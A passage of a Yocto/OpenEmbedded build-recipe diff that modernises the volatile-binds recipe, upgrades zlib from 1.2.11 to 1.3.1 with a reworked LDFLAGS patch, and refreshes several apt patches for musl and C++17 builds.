+ ${localstatedir}/volatile/lib ${localstatedir}/lib\n\
+ ${localstatedir}/volatile/cache ${localstatedir}/cache\n\
+ ${localstatedir}/volatile/spool ${localstatedir}/spool\n\
+ ${localstatedir}/volatile/srv /srv\n\
"
VOLATILE_BINDS[type] = "list"
VOLATILE_BINDS[separator] = "\n"
@@ -33,9 +33,12 @@ def volatile_systemd_services(d):
services.append("%s.service" % what[1:].replace("/", "-"))
return " ".join(services)
-SYSTEMD_SERVICE_${PN} = "${@volatile_systemd_services(d)}"
+SYSTEMD_SERVICE:${PN} = "${@volatile_systemd_services(d)}"
-FILES_${PN} += "${systemd_unitdir}/system/*.service"
+FILES:${PN} += "${systemd_system_unitdir}/*.service ${servicedir}"
+
+# Set to 1 to forcibly skip OverlayFS, and default to copy+bind
+AVOID_OVERLAYFS = "0"
do_compile () {
while read spec mountpoint; do
@@ -43,37 +46,39 @@ do_compile () {
continue
fi
- servicefile="${spec#/}"
- servicefile="$(echo "$servicefile" | tr / -).service"
+ servicefile="$(echo "${spec#/}" | tr / -).service"
+ [ "$mountpoint" != ${localstatedir}/lib ] || var_lib_servicefile=$servicefile
sed -e "s#@what@#$spec#g; s#@where@#$mountpoint#g" \
-e "s#@whatparent@#${spec%/*}#g; s#@whereparent@#${mountpoint%/*}#g" \
+ -e "s#@avoid_overlayfs@#${@d.getVar('AVOID_OVERLAYFS')}#g" \
volatile-binds.service.in >$servicefile
done <<END
${@d.getVar('VOLATILE_BINDS').replace("\\n", "\n")}
END
- if [ -e var-volatile-lib.service ]; then
+ if [ -e "$var_lib_servicefile" ]; then
# As the seed is stored under /var/lib, ensure that this service runs
# after the volatile /var/lib is mounted.
sed -i -e "/^Before=/s/\$/ systemd-random-seed.service/" \
-e "/^WantedBy=/s/\$/ systemd-random-seed.service/" \
- var-volatile-lib.service
+ "$var_lib_servicefile"
fi
}
do_compile[dirs] = "${WORKDIR}"
do_install () {
install -d ${D}${base_sbindir}
+ install -d ${D}${servicedir}
install -m 0755 mount-copybind ${D}${base_sbindir}/
- install -d ${D}${systemd_unitdir}/system
- for service in ${SYSTEMD_SERVICE_${PN}}; do
- install -m 0644 $service ${D}${systemd_unitdir}/system/
+ install -d ${D}${systemd_system_unitdir}
+ for service in ${SYSTEMD_SERVICE:${PN}}; do
+ install -m 0644 $service ${D}${systemd_system_unitdir}/
done
# Suppress attempts to process some tmpfiles that are not temporary.
#
- install -d ${D}${sysconfdir}/tmpfiles.d ${D}/var/cache
+ install -d ${D}${sysconfdir}/tmpfiles.d ${D}${localstatedir}/cache
ln -s /dev/null ${D}${sysconfdir}/tmpfiles.d/etc.conf
ln -s /dev/null ${D}${sysconfdir}/tmpfiles.d/home.conf
}
diff --git a/meta/recipes-core/zlib/zlib/0001-configure-Pass-LDFLAGS-to-link-tests.patch b/meta/recipes-core/zlib/zlib/0001-configure-Pass-LDFLAGS-to-link-tests.patch
new file mode 100644
index 0000000000..07b2cd3879
--- /dev/null
+++ b/meta/recipes-core/zlib/zlib/0001-configure-Pass-LDFLAGS-to-link-tests.patch
@@ -0,0 +1,78 @@
+Upstream-Status: Submitted [https://github.com/madler/zlib/pull/599]
+Signed-off-by: Ross Burton <ross.burton@arm.com>
+
+From ea77f1f003a4d18b23cca703f3c824942863a1b4 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Tue, 8 Mar 2022 22:38:47 -0800
+Subject: [PATCH] configure: Pass LDFLAGS to link tests
+
+LDFLAGS can contain critical flags without which linking wont succeed
+therefore ensure that all configure tests involving link time checks are
+using LDFLAGS on compiler commandline along with CFLAGS to ensure the
+tests perform correctly. Without this some tests may fail resulting in
+wrong confgure result, ending in miscompiling the package
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+
+---
+ configure | 12 ++++++------
+ 1 file changed, 6 insertions(+), 6 deletions(-)
+
+diff --git a/configure b/configure
+index c55098a..a7c6d72 100755
+--- a/configure
++++ b/configure
+@@ -443,7 +443,7 @@ if test $shared -eq 1; then
+ echo Checking for shared library support... | tee -a configure.log
+ # we must test in two steps (cc then ld), required at least on SunOS 4.x
+ if try $CC -c $SFLAGS $test.c &&
+- try $LDSHARED $SFLAGS -o $test$shared_ext $test.o; then
++ try $LDSHARED $SFLAGS $LDFLAGS -o $test$shared_ext $test.o; then
+ echo Building shared library $SHAREDLIBV with $CC. | tee -a configure.log
+ elif test -z "$old_cc" -a -z "$old_cflags"; then
+ echo No shared library support. | tee -a configure.log
+@@ -505,7 +505,7 @@ int main(void) {
+ }
+ EOF
+ fi
+- if try $CC $CFLAGS -o $test $test.c; then
++ if try $CC $CFLAGS $LDFLAGS -o $test $test.c; then
+ sizet=`./$test`
+ echo "Checking for a pointer-size integer type..." $sizet"." | tee -a configure.log
+ CFLAGS="${CFLAGS} -DNO_SIZE_T=${sizet}"
+@@ -539,7 +539,7 @@ int main(void) {
+ return 0;
+ }
+ EOF
+- if try $CC $CFLAGS -o $test $test.c; then
++ if try $CC $CFLAGS $LDFLAGS -o $test $test.c; then
+ echo "Checking for fseeko... Yes." | tee -a configure.log
+ else
+ CFLAGS="${CFLAGS} -DNO_FSEEKO"
+@@ -556,7 +556,7 @@ cat > $test.c <<EOF
+ #include <errno.h>
+ int main() { return strlen(strerror(errno)); }
+ EOF
+-if try $CC $CFLAGS -o $test $test.c; then
++if try $CC $CFLAGS $LDFLAGS -o $test $test.c; then
+ echo "Checking for strerror... Yes." | tee -a configure.log
+ else
+ CFLAGS="${CFLAGS} -DNO_STRERROR"
+@@ -663,7 +663,7 @@ int main()
+ return (mytest("Hello%d\n", 1));
+ }
+ EOF
+- if try $CC $CFLAGS -o $test $test.c; then
++ if try $CC $CFLAGS $LDFLAGS -o $test $test.c; then
+ echo "Checking for vsnprintf() in stdio.h... Yes." | tee -a configure.log
+
+ echo >> configure.log
+@@ -753,7 +753,7 @@ int main()
+ }
+ EOF
+
+- if try $CC $CFLAGS -o $test $test.c; then
++ if try $CC $CFLAGS $LDFLAGS -o $test $test.c; then
+ echo "Checking for snprintf() in stdio.h... Yes." | tee -a configure.log
+
+ echo >> configure.log
diff --git a/meta/recipes-core/zlib/zlib/ldflags-tests.patch b/meta/recipes-core/zlib/zlib/ldflags-tests.patch
deleted file mode 100644
index 286390665f..0000000000
--- a/meta/recipes-core/zlib/zlib/ldflags-tests.patch
+++ /dev/null
@@ -1,45 +0,0 @@
-Obey LDFLAGS for tests
-
-Upstream-Status: Submitted [https://github.com/madler/zlib/pull/409]
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-
---- zlib-1.2.8.orig/Makefile.in
-+++ zlib-1.2.8/Makefile.in
-@@ -26,7 +26,7 @@ CFLAGS=-O
-
- SFLAGS=-O
- LDFLAGS=
--TEST_LDFLAGS=-L. libz.a
-+TEST_LDFLAGS=-L. $(LDFLAGS)
- LDSHARED=$(CC)
- CPP=$(CC) -E
-
-@@ -176,22 +176,22 @@ placebo $(SHAREDLIBV): $(PIC_OBJS) libz.
- -@rmdir objs
-
- example$(EXE): example.o $(STATICLIB)
-- $(CC) $(CFLAGS) -o $@ example.o $(TEST_LDFLAGS)
-+ $(CC) $(CFLAGS) -o $@ example.o $(TEST_LDFLAGS) $(STATICLIB)
-
- minigzip$(EXE): minigzip.o $(STATICLIB)
-- $(CC) $(CFLAGS) -o $@ minigzip.o $(TEST_LDFLAGS)
-+ $(CC) $(CFLAGS) -o $@ minigzip.o $(TEST_LDFLAGS) $(STATICLIB)
-
- examplesh$(EXE): example.o $(SHAREDLIBV)
-- $(CC) $(CFLAGS) -o $@ example.o -L. $(SHAREDLIBV)
-+ $(CC) $(CFLAGS) -o $@ example.o $(TEST_LDFLAGS) $(SHAREDLIBV)
-
- minigzipsh$(EXE): minigzip.o $(SHAREDLIBV)
-- $(CC) $(CFLAGS) -o $@ minigzip.o -L. $(SHAREDLIBV)
-+ $(CC) $(CFLAGS) -o $@ minigzip.o $(TEST_LDFLAGS) $(SHAREDLIBV)
-
- example64$(EXE): example64.o $(STATICLIB)
-- $(CC) $(CFLAGS) -o $@ example64.o $(TEST_LDFLAGS)
-+ $(CC) $(CFLAGS) -o $@ example64.o $(TEST_LDFLAGS) $(STATICLIB)
-
- minigzip64$(EXE): minigzip64.o $(STATICLIB)
-- $(CC) $(CFLAGS) -o $@ minigzip64.o $(TEST_LDFLAGS)
-+ $(CC) $(CFLAGS) -o $@ minigzip64.o $(TEST_LDFLAGS) $(STATICLIB)
-
- install-libs: $(LIBS)
- -@if [ ! -d $(DESTDIR)$(exec_prefix) ]; then mkdir -p $(DESTDIR)$(exec_prefix); fi
diff --git a/meta/recipes-core/zlib/zlib_1.2.11.bb b/meta/recipes-core/zlib/zlib_1.2.11.bb
deleted file mode 100644
index ef9431ae47..0000000000
--- a/meta/recipes-core/zlib/zlib_1.2.11.bb
+++ /dev/null
@@ -1,52 +0,0 @@
-SUMMARY = "Zlib Compression Library"
-DESCRIPTION = "Zlib is a general-purpose, patent-free, lossless data compression \
-library which is used by many different programs."
-HOMEPAGE = "http://zlib.net/"
-SECTION = "libs"
-LICENSE = "Zlib"
-LIC_FILES_CHKSUM = "file://zlib.h;beginline=6;endline=23;md5=5377232268e952e9ef63bc555f7aa6c0"
-
-SRC_URI = "${SOURCEFORGE_MIRROR}/libpng/${BPN}/${PV}/${BPN}-${PV}.tar.xz \
- file://ldflags-tests.patch \
- file://run-ptest \
- "
-UPSTREAM_CHECK_URI = "http://zlib.net/"
-
-SRC_URI[md5sum] = "85adef240c5f370b308da8c938951a68"
-SRC_URI[sha256sum] = "4ff941449631ace0d4d203e3483be9dbc9da454084111f97ea0a2114e19bf066"
-
-CFLAGS += "-D_REENTRANT"
-
-RDEPENDS_${PN}-ptest += "make"
-
-inherit ptest
-
-do_configure() {
- LDCONFIG=true ./configure --prefix=${prefix} --shared --libdir=${libdir} --uname=GNU
-}
-
-do_compile() {
- oe_runmake shared
-}
-
-do_install() {
- oe_runmake DESTDIR=${D} install
-}
-
-do_install_ptest() {
- install ${B}/examplesh ${D}${PTEST_PATH}
-}
-
-# Move zlib shared libraries for target builds to $base_libdir so the library
-# can be used in early boot before $prefix is mounted.
-do_install_append_class-target() {
- if [ ${base_libdir} != ${libdir} ]
- then
- mkdir -p ${D}/${base_libdir}
- mv ${D}/${libdir}/libz.so.* ${D}/${base_libdir}
- libname=`readlink ${D}/${libdir}/libz.so`
- ln -sf ${@oe.path.relative("${libdir}", "${base_libdir}")}/$libname ${D}${libdir}/libz.so
- fi
-}
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-core/zlib/zlib_1.3.1.bb b/meta/recipes-core/zlib/zlib_1.3.1.bb
new file mode 100644
index 0000000000..e6a81ef789
--- /dev/null
+++ b/meta/recipes-core/zlib/zlib_1.3.1.bb
@@ -0,0 +1,50 @@
+SUMMARY = "Zlib Compression Library"
+DESCRIPTION = "Zlib is a general-purpose, patent-free, lossless data compression \
+library which is used by many different programs."
+HOMEPAGE = "http://zlib.net/"
+SECTION = "libs"
+LICENSE = "Zlib"
+LIC_FILES_CHKSUM = "file://zlib.h;beginline=6;endline=23;md5=5377232268e952e9ef63bc555f7aa6c0"
+
+# The source tarball needs to be .gz as only the .gz ends up in fossils/
+SRC_URI = "https://zlib.net/${BP}.tar.gz \
+ file://0001-configure-Pass-LDFLAGS-to-link-tests.patch \
+ file://run-ptest \
+ "
+UPSTREAM_CHECK_URI = "http://zlib.net/"
+
+SRC_URI[sha256sum] = "9a93b2b7dfdac77ceba5a558a580e74667dd6fede4585b91eefb60f03b72df23"
+
+# When a new release is made the previous release is moved to fossils/, so add this
+# to PREMIRRORS so it is also searched automatically.
+PREMIRRORS:append = " https://zlib.net/ https://zlib.net/fossils/"
+
+CFLAGS += "-D_REENTRANT"
+
+RDEPENDS:${PN}-ptest += "make"
+
+inherit ptest
+
+B = "${WORKDIR}/build"
+
+do_configure() {
+ LDCONFIG=true ${S}/configure --prefix=${prefix} --shared --libdir=${libdir} --uname=GNU
+}
+do_configure[cleandirs] += "${B}"
+
+do_compile() {
+ oe_runmake shared
+}
+
+do_install() {
+ oe_runmake DESTDIR=${D} install
+}
+
+do_install_ptest() {
+ install ${B}/examplesh ${D}${PTEST_PATH}
+}
+
+BBCLASSEXTEND = "native nativesdk"
+
+CVE_STATUS[CVE-2023-45853] = "not-applicable-config: we don't build minizip"
+CVE_STATUS[CVE-2023-6992] = "cpe-incorrect: this CVE is for cloudflare zlib"
diff --git a/meta/recipes-devtools/apt/apt/0001-Disable-documentation-directory-altogether.patch b/meta/recipes-devtools/apt/apt/0001-Disable-documentation-directory-altogether.patch
index cc422b74dc..5443ff6caa 100644
--- a/meta/recipes-devtools/apt/apt/0001-Disable-documentation-directory-altogether.patch
+++ b/meta/recipes-devtools/apt/apt/0001-Disable-documentation-directory-altogether.patch
@@ -1,4 +1,4 @@
-From cd164b353ba7958d51b2f33f4079fb9787c983e2 Mon Sep 17 00:00:00 2001
+From f629d1c3fcfb560ed24efc3e73d4e4999b1eab33 Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Fri, 10 May 2019 14:16:47 +0200
Subject: [PATCH] Disable documentation directory altogether
@@ -13,11 +13,11 @@ Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/CMakeLists.txt b/CMakeLists.txt
-index 83334ba..2cd4f8e 100644
+index 668e2d762..62f441bfa 100644
--- a/CMakeLists.txt
+++ b/CMakeLists.txt
-@@ -232,7 +232,7 @@ add_subdirectory(apt-private)
- add_subdirectory(apt-inst)
+@@ -246,7 +246,7 @@ add_subdirectory(apt-private)
+ endif()
add_subdirectory(cmdline)
add_subdirectory(completions)
-add_subdirectory(doc)
diff --git a/meta/recipes-devtools/apt/apt/0001-Do-not-configure-packages-on-installation.patch b/meta/recipes-devtools/apt/apt/0001-Do-not-configure-packages-on-installation.patch
deleted file mode 100644
index 2322bd8e78..0000000000
--- a/meta/recipes-devtools/apt/apt/0001-Do-not-configure-packages-on-installation.patch
+++ /dev/null
@@ -1,48 +0,0 @@
-From 1ad21140787a6b8b0f774f75b50444d2c30a56f6 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Thu, 21 May 2020 20:28:12 +0000
-Subject: [PATCH] Do not configure packages on installation
-
-This is done separately in do_rootfs().
-
-Upstream-Status: Inappropriate [oe-core specific]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-
----
- apt-pkg/packagemanager.cc | 5 ++++-
- 1 file changed, 4 insertions(+), 1 deletion(-)
-
-diff --git a/apt-pkg/packagemanager.cc b/apt-pkg/packagemanager.cc
-index 156f7ad..0f6a87c 100644
---- a/apt-pkg/packagemanager.cc
-+++ b/apt-pkg/packagemanager.cc
-@@ -1013,10 +1013,12 @@ bool pkgPackageManager::SmartUnPack(PkgIterator Pkg, bool const Immediate, int c
- return false;
-
- if (Immediate == true) {
-+#if 0
- // Perform immediate configuration of the package.
- if (SmartConfigure(Pkg, Depth + 1) == false)
- _error->Error(_("Could not perform immediate configuration on '%s'. "
- "Please see man 5 apt.conf under APT::Immediate-Configure for details. (%d)"),Pkg.FullName().c_str(),2);
-+#endif
- }
-
- return true;
-@@ -1111,6 +1113,7 @@ pkgPackageManager::OrderResult pkgPackageManager::OrderInstall()
- }
- }
-
-+#if 0
- // Final run through the configure phase
- if (ConfigureAll() == false)
- return Failed;
-@@ -1125,7 +1128,7 @@ pkgPackageManager::OrderResult pkgPackageManager::OrderInstall()
- return Failed;
- }
- }
--
-+#endif
- return Completed;
- }
- // PM::DoInstallPostFork - compat /*{{{*/
diff --git a/meta/recipes-devtools/apt/apt/0001-Do-not-init-tables-from-dpkg-configuration.patch b/meta/recipes-devtools/apt/apt/0001-Do-not-init-tables-from-dpkg-configuration.patch
index d3d3ab026d..37a3133010 100644
--- a/meta/recipes-devtools/apt/apt/0001-Do-not-init-tables-from-dpkg-configuration.patch
+++ b/meta/recipes-devtools/apt/apt/0001-Do-not-init-tables-from-dpkg-configuration.patch
@@ -1,4 +1,4 @@
-From b18d7aa7d71b53b86bac21cd1d8c3accabb28f2b Mon Sep 17 00:00:00 2001
+From b84280fec4e1d0d33eca78e76556023f8f8fe5b7 Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Fri, 10 May 2019 16:47:38 +0200
Subject: [PATCH] Do not init tables from dpkg configuration
@@ -13,7 +13,7 @@ Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/apt-pkg/init.cc b/apt-pkg/init.cc
-index a619368..6e5a6cf 100644
+index b9d9b15d2..1725c5966 100644
--- a/apt-pkg/init.cc
+++ b/apt-pkg/init.cc
@@ -281,8 +281,8 @@ bool pkgInitSystem(Configuration &Cnf,pkgSystem *&Sys)
diff --git a/meta/recipes-devtools/apt/apt/0001-Fix-musl-build.patch b/meta/recipes-devtools/apt/apt/0001-Fix-musl-build.patch
index a6e8ef1e51..0cefbedd6d 100644
--- a/meta/recipes-devtools/apt/apt/0001-Fix-musl-build.patch
+++ b/meta/recipes-devtools/apt/apt/0001-Fix-musl-build.patch
@@ -1,22 +1,18 @@
-From 081c6be2f2f1cd77f399ea414f8d89c107826624 Mon Sep 17 00:00:00 2001
+From 6b8547161b902b01b639d05a4cdf849d7694556f Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Fri, 22 May 2020 15:29:23 +0000
-Subject: [PATCH] Fix musl build
+Subject: [PATCH] apt-pkg/contrib/srvrec.h: Explicitly include sys/types.h
-methods/connect.cc: Musl doesn't support AI_IDN flag in netdb.h
-header so define it manually.
-apt-pkg/contrib/srvrec.h: Add explicity include of sys/types.h
-to avoid errors in types u_int_SIZE.
+This avoids type errors with musl C library.
-Upstream-Status: Pending
+Upstream-Status: Submitted [https://salsa.debian.org/apt-team/apt/-/merge_requests/200]
Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
---
apt-pkg/contrib/srvrec.h | 1 +
- methods/connect.cc | 5 +++++
- 2 files changed, 6 insertions(+)
+ 1 file changed, 1 insertion(+)
diff --git a/apt-pkg/contrib/srvrec.h b/apt-pkg/contrib/srvrec.h
-index e22b7a1..b1115f5 100644
+index e5d0f43..2010184 100644
--- a/apt-pkg/contrib/srvrec.h
+++ b/apt-pkg/contrib/srvrec.h
@@ -9,6 +9,7 @@
@@ -27,19 +23,6 @@ index e22b7a1..b1115f5 100644
#include <string>
#include <vector>
#include <arpa/nameser.h>
-diff --git a/methods/connect.cc b/methods/connect.cc
-index 1d6f891..122df35 100644
---- a/methods/connect.cc
-+++ b/methods/connect.cc
-@@ -42,6 +42,11 @@
- #include "connect.h"
- #include "rfc2553emu.h"
- #include <apti18n.h>
-+
-+#ifndef AI_IDN
-+#define AI_IDN 0x0040
-+#endif
-+
- /*}}}*/
-
- static std::string LastHost;
+--
+2.20.1
+
diff --git a/meta/recipes-devtools/apt/apt/0001-Hide-fstatat64-and-prlimit64-defines-on-musl.patch b/meta/recipes-devtools/apt/apt/0001-Hide-fstatat64-and-prlimit64-defines-on-musl.patch
new file mode 100644
index 0000000000..f1816836b5
--- /dev/null
+++ b/meta/recipes-devtools/apt/apt/0001-Hide-fstatat64-and-prlimit64-defines-on-musl.patch
@@ -0,0 +1,48 @@
+From e849b161ce1d87ab369b921438abcf5b3a03e186 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Sun, 25 Apr 2021 08:57:03 -0700
+Subject: [PATCH] Hide fstatat64 and prlimit64 defines on musl
+
+musl defines fstatat64 and prlimit64 as macros which confuses the
+seccomp sysall rewiring since there are syscalls with same names
+
+Upstream-Status: Pending
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ methods/aptmethod.h | 12 ++++++++++--
+ 1 file changed, 10 insertions(+), 2 deletions(-)
+
+diff --git a/methods/aptmethod.h b/methods/aptmethod.h
+index bd50e80..3085aed 100644
+--- a/methods/aptmethod.h
++++ b/methods/aptmethod.h
+@@ -121,6 +121,12 @@ protected:
+ if (ctx == NULL)
+ return _error->FatalE("HttpMethod::Configuration", "Cannot init seccomp");
+
++#ifndef __GLIBC__
++#pragma push_macro("fstatat64")
++#pragma push_macro("prlimit64")
++#undef fstatat64
++#undef prlimit64
++#endif
+ #define ALLOW(what) \
+ if ((rc = seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(what), 0))) \
+ return _error->FatalE("HttpMethod::Configuration", "Cannot allow %s: %s", #what, strerror(-rc));
+@@ -320,9 +326,11 @@ protected:
+ if ((rc = seccomp_rule_add(ctx, SCMP_ACT_ALLOW, seccomp_syscall_resolve_name(custom.c_str()), 0)))
+ return _error->FatalE("aptMethod::Configuration", "Cannot allow %s: %s", custom.c_str(), strerror(-rc));
+ }
+-
+ #undef ALLOW
+-
++#ifndef __GLIBC__
++#pragma pop_macro("fstatat64")
++#pragma pop_macro("prlimit64")
++#endif
+ rc = seccomp_load(ctx);
+ if (rc == -EINVAL)
+ {
+--
+2.31.1
+
diff --git a/meta/recipes-devtools/apt/apt/0001-Remove-using-std-binary_function.patch b/meta/recipes-devtools/apt/apt/0001-Remove-using-std-binary_function.patch
new file mode 100644
index 0000000000..15b036b90d
--- /dev/null
+++ b/meta/recipes-devtools/apt/apt/0001-Remove-using-std-binary_function.patch
@@ -0,0 +1,87 @@
+From e91fb0618ce0a5d42f239d0fca602544858f0819 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Tue, 16 Aug 2022 08:44:18 -0700
+Subject: [PATCH] Remove using std::binary_function
+
+std::binary_function and std::unary_function are deprecated since c++11
+and removed in c++17, therefore remove it and use lambda functions to get same
+functionality implemented.
+
+Upstream-Status: Submitted [https://salsa.debian.org/apt-team/apt/-/merge_requests/253]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ ftparchive/apt-ftparchive.cc | 33 ++++++++++-----------------------
+ 1 file changed, 10 insertions(+), 23 deletions(-)
+
+diff --git a/ftparchive/apt-ftparchive.cc b/ftparchive/apt-ftparchive.cc
+index 0f6587281..0a253b12b 100644
+--- a/ftparchive/apt-ftparchive.cc
++++ b/ftparchive/apt-ftparchive.cc
+@@ -48,6 +48,11 @@
+ using namespace std;
+ unsigned Quiet = 0;
+
++auto ContentsCompare = [](const auto &a, const auto &b) { return a.ContentsMTime < b.ContentsMTime; };
++auto DBCompare = [](const auto &a, const auto &b) { return a.BinCacheDB < b.BinCacheDB; };
++auto SrcDBCompare = [](const auto &a, const auto &b) { return a.SrcCacheDB < b.SrcCacheDB; };
++
++
+ static struct timeval GetTimevalFromSteadyClock() /*{{{*/
+ {
+ auto const Time = std::chrono::steady_clock::now().time_since_epoch();
+@@ -116,24 +121,6 @@ struct PackageMap
+ bool SrcDone;
+ time_t ContentsMTime;
+
+- struct ContentsCompare
+- {
+- inline bool operator() (const PackageMap &x,const PackageMap &y)
+- {return x.ContentsMTime < y.ContentsMTime;};
+- };
+-
+- struct DBCompare
+- {
+- inline bool operator() (const PackageMap &x,const PackageMap &y)
+- {return x.BinCacheDB < y.BinCacheDB;};
+- };
+-
+- struct SrcDBCompare
+- {
+- inline bool operator() (const PackageMap &x,const PackageMap &y)
+- {return x.SrcCacheDB < y.SrcCacheDB;};
+- };
+-
+ void GetGeneral(Configuration &Setup,Configuration &Block);
+ bool GenPackages(Configuration &Setup,struct CacheDB::Stats &Stats);
+ bool GenSources(Configuration &Setup,struct CacheDB::Stats &Stats);
+@@ -869,7 +856,7 @@ static bool DoGenerateContents(Configuration &Setup,
+ else
+ I->ContentsMTime = A.st_mtime;
+ }
+- stable_sort(PkgList.begin(),PkgList.end(),PackageMap::ContentsCompare());
++ stable_sort(PkgList.begin(),PkgList.end(),ContentsCompare);
+
+ /* Now for Contents.. The process here is to do a make-like dependency
+ check. Each contents file is verified to be newer than the package files
+@@ -941,8 +928,8 @@ static bool Generate(CommandLine &CmdL)
+ LoadBinDir(PkgList,Setup);
+
+ // Sort by cache DB to improve IO locality.
+- stable_sort(PkgList.begin(),PkgList.end(),PackageMap::DBCompare());
+- stable_sort(PkgList.begin(),PkgList.end(),PackageMap::SrcDBCompare());
++ stable_sort(PkgList.begin(),PkgList.end(),DBCompare);
++ stable_sort(PkgList.begin(),PkgList.end(),SrcDBCompare);
+
+ // Generate packages
+ if (_config->FindB("APT::FTPArchive::ContentsOnly", false) == false)
+@@ -993,8 +980,8 @@ static bool Clean(CommandLine &CmdL)
+ LoadBinDir(PkgList,Setup);
+
+ // Sort by cache DB to improve IO locality.
+- stable_sort(PkgList.begin(),PkgList.end(),PackageMap::DBCompare());
+- stable_sort(PkgList.begin(),PkgList.end(),PackageMap::SrcDBCompare());
++ stable_sort(PkgList.begin(),PkgList.end(),DBCompare);
++ stable_sort(PkgList.begin(),PkgList.end(),SrcDBCompare);
+
+ string CacheDir = Setup.FindDir("Dir::CacheDir");
+
diff --git a/meta/recipes-devtools/apt/apt/0001-Revert-always-run-dpkg-configure-a-at-the-end-of-our.patch b/meta/recipes-devtools/apt/apt/0001-Revert-always-run-dpkg-configure-a-at-the-end-of-our.patch
index 8c4cc04503..6f4d5b6e72 100644
--- a/meta/recipes-devtools/apt/apt/0001-Revert-always-run-dpkg-configure-a-at-the-end-of-our.patch
+++ b/meta/recipes-devtools/apt/apt/0001-Revert-always-run-dpkg-configure-a-at-the-end-of-our.patch
@@ -1,4 +1,4 @@
-From 742fbb243f99e940c3e6b31296f7f416f550a57a Mon Sep 17 00:00:00 2001
+From a2dd661484536492b47d4c88998f2bf516749bc8 Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Thu, 21 May 2020 20:13:25 +0000
Subject: [PATCH] Revert "always run 'dpkg --configure -a' at the end of our
@@ -20,10 +20,10 @@ Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
1 file changed, 2 insertions(+), 7 deletions(-)
diff --git a/apt-pkg/deb/dpkgpm.cc b/apt-pkg/deb/dpkgpm.cc
-index ffa880d..5875e86 100644
+index 93effa959..4375781d1 100644
--- a/apt-pkg/deb/dpkgpm.cc
+++ b/apt-pkg/deb/dpkgpm.cc
-@@ -1215,12 +1215,6 @@ void pkgDPkgPM::BuildPackagesProgressMap()
+@@ -1199,12 +1199,6 @@ void pkgDPkgPM::BuildPackagesProgressMap()
}
}
}
@@ -35,8 +35,8 @@ index ffa880d..5875e86 100644
- ++PackagesTotal;
}
/*}}}*/
- bool pkgDPkgPM::Go(int StatusFd) /*{{{*/
-@@ -1716,7 +1710,8 @@ bool pkgDPkgPM::Go(APT::Progress::PackageManager *progress)
+ void pkgDPkgPM::StartPtyMagic() /*{{{*/
+@@ -1741,7 +1735,8 @@ bool pkgDPkgPM::Go(APT::Progress::PackageManager *progress)
// support subpressing of triggers processing for special
// cases like d-i that runs the triggers handling manually
diff --git a/meta/recipes-devtools/apt/apt/0001-aptwebserver.cc-Include-array.patch b/meta/recipes-devtools/apt/apt/0001-aptwebserver.cc-Include-array.patch
new file mode 100644
index 0000000000..2c1e617e55
--- /dev/null
+++ b/meta/recipes-devtools/apt/apt/0001-aptwebserver.cc-Include-array.patch
@@ -0,0 +1,30 @@
+From 5985f366750a73c81c7d86893a2b959b4af062a5 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Wed, 26 May 2021 22:12:46 -0700
+Subject: [PATCH] aptwebserver.cc: Include <array>
+
+This helps getting std::array definition
+
+Fixes
+test/interactive-helper/aptwebserver.cc:36:55: error: constexpr variable cannot have non-literal type 'const std::array<std::array<const char *, 2>, 6>'
+ constexpr std::array<std::array<char const *,2>,6> htmlencode = {{
+
+Upstream-Status: Submitted [https://github.com/Debian/apt/pull/133]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+
+---
+ test/interactive-helper/aptwebserver.cc | 1 +
+ 1 file changed, 1 insertion(+)
+
+diff --git a/test/interactive-helper/aptwebserver.cc b/test/interactive-helper/aptwebserver.cc
+index f4f8d95..361c7a9 100644
+--- a/test/interactive-helper/aptwebserver.cc
++++ b/test/interactive-helper/aptwebserver.cc
+@@ -23,6 +23,7 @@
+
+ #include <array>
+ #include <algorithm>
++#include <array>
+ #include <fstream>
+ #include <iostream>
+ #include <list>
diff --git a/meta/recipes-devtools/apt/apt/0001-cmake-Do-not-build-po-files.patch b/meta/recipes-devtools/apt/apt/0001-cmake-Do-not-build-po-files.patch
new file mode 100644
index 0000000000..036ce35963
--- /dev/null
+++ b/meta/recipes-devtools/apt/apt/0001-cmake-Do-not-build-po-files.patch
@@ -0,0 +1,36 @@
+From 33347f9f8301633b01af4e208b7be5fdfcb0df0c Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Sat, 20 Mar 2021 14:45:18 -0700
+Subject: [PATCH] cmake: Do not build po files
+
+Fixes
+| CMake Error at CMakeLists.txt:252 (add_dependencies):
+| The dependency target "update-po4a" of target "update-po" does not exist.
+|
+
+Upstream-Status: Inappropriate [Cross-compile specific]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ CMakeLists.txt | 7 -------
+ 1 file changed, 7 deletions(-)
+
+diff --git a/CMakeLists.txt b/CMakeLists.txt
+index be157a55f..54163ae6c 100644
+--- a/CMakeLists.txt
++++ b/CMakeLists.txt
+@@ -252,15 +252,6 @@ add_subdirectory(ftparchive)
+ add_subdirectory(methods)
+ add_subdirectory(test)
+
+-if (USE_NLS)
+-add_subdirectory(po)
+-endif()
+-
